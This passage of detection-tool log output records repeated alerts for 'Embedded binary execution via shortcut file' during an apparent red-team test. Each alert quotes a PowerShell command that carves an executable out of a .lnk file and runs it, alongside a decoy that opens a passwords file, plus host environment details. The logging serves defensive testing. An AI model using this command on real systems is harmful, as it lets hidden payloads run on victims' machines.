PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-11T16:21:58+01:00 level=info msg=sending alert: [Embedded binary execution via shortcut file]. Text: Event(s): + Seq: 1187732 + Pid: 3088 + Tid: 15796 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-11 16:21:29.8061873 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff8b04404bd6d0, file_path➜ C:\Fibratus\redteam\EmbedExeLnk-\fishy.lnk, irp➜ ffff8b043c06e808, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 15796, type➜ File + Metadata: rule.name: Embedded binary execution via shortcut file, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 3088 + Ppid: 3076 + Name: powershell.exe + Parent name: cmd.exe + Cmdline: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path; + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" /K start notepad C:\\Users\nedo\AppData\Local\Google\Chrome\User Data\ZxcvbnData\3\passwords.txt && powershell $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00073B1A} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002842)) -Encoding Byte; ^& $path; + Exe: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe + Cwd: C:\Fibratus\redteam\EmbedExeLnk-\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path;] + Session ID: 1 + Envs: map[:C:=C:\Fibratus\redteam\EmbedExeLnk- ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1792_1262719628:1 EFC_1792_1592913036:1 EFC_1792_2283032206:1 EFC_1792_2775293581:1 EFC_1792_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-11T16:21:58+01:00 level=info msg=sending alert: [Embedded binary execution via shortcut file]. Text: Event(s): + Seq: 1187756 + Pid: 3088 + Tid: 15796 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-11 16:21:29.812472 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff8b0440497a20, file_path➜ C:\Fibratus\redteam\EmbedExeLnk-\fishy.lnk, irp➜ ffff8b04541410f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 15796, type➜ Directory + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0002/, tactic.id: TA0002, tactic.name: Execution, rule.name: Embedded binary execution via shortcut file + + Pid: 3088 + Ppid: 3076 + Name: powershell.exe + Parent name: cmd.exe + Cmdline: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path; + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" /K start notepad C:\\Users\nedo\AppData\Local\Google\Chrome\User Data\ZxcvbnData\3\passwords.txt && powershell $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00073B1A} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002842)) -Encoding Byte; ^& $path; + Exe: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe + Cwd: C:\Fibratus\redteam\EmbedExeLnk-\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path;] + Session ID: 1 + Envs: map[:C:=C:\Fibratus\redteam\EmbedExeLnk- ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1792_1262719628:1 EFC_1792_1592913036:1 EFC_1792_2283032206:1 EFC_1792_2775293581:1 EFC_1792_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-11T16:21:58+01:00 level=info msg=sending alert: [Embedded binary execution via shortcut file]. Text: Event(s): + Seq: 1187758 + Pid: 3088 + Tid: 15796 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-11 16:21:29.8127166 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff8b04404994b0, file_path➜ C:\Fibratus\redteam\EmbedExeLnk-\fishy.lnk, irp➜ ffff8b04541410f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 15796, type➜ File + Metadata: tactic.id: TA0002, tactic.name: Execution, rule.name: Embedded binary execution via shortcut file, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 3088 + Ppid: 3076 + Name: powershell.exe + Parent name: cmd.exe + Cmdline: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path; + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" /K start notepad C:\\Users\nedo\AppData\Local\Google\Chrome\User Data\ZxcvbnData\3\passwords.txt && powershell $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00073B1A} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002842)) -Encoding Byte; ^& $path; + Exe: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe + Cwd: C:\Fibratus\redteam\EmbedExeLnk-\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path;] + Session ID: 1 + Envs: map[:C:=C:\Fibratus\redteam\EmbedExeLnk- ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1792_1262719628:1 EFC_1792_1592913036:1 EFC_1792_2283032206:1 EFC_1792_2775293581:1 EFC_1792_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-11T16:21:58+01:00 level=info msg=sending alert: [Embedded binary execution via shortcut file]. Text: Event(s): + Seq: 1187760 + Pid: 3088 + Tid: 15796 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-11 16:21:29.8129082 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff8b04404a2150, file_path➜ C:\Fibratus\redteam\EmbedExeLnk-\fishy.lnk, irp➜ ffff8b04541410f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 15796, type➜ File + Metadata: rule.name: Embedded binary execution via shortcut file, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 3088 + Ppid: 3076 + Name: powershell.exe + Parent name: cmd.exe + Cmdline: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path; + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" /K start notepad C:\\Users\nedo\AppData\Local\Google\Chrome\User Data\ZxcvbnData\3\passwords.txt && powershell $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00073B1A} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002842)) -Encoding Byte; ^& $path; + Exe: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe + Cwd: C:\Fibratus\redteam\EmbedExeLnk-\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path;] + Session ID: 1 + Envs: map[:C:=C:\Fibratus\redteam\EmbedExeLnk- ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1792_1262719628:1 EFC_1792_1592913036:1 EFC_1792_2283032206:1 EFC_1792_2775293581:1 EFC_1792_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-11T16:21:58+01:00 level=info msg=sending alert: [Embedded binary execution via shortcut file]. Text: Event(s): + Seq: 1187762 + Pid: 3088 + Tid: 15796 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-11 16:21:29.8130131 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE|OPEN_NO_RECALL, file_object➜ 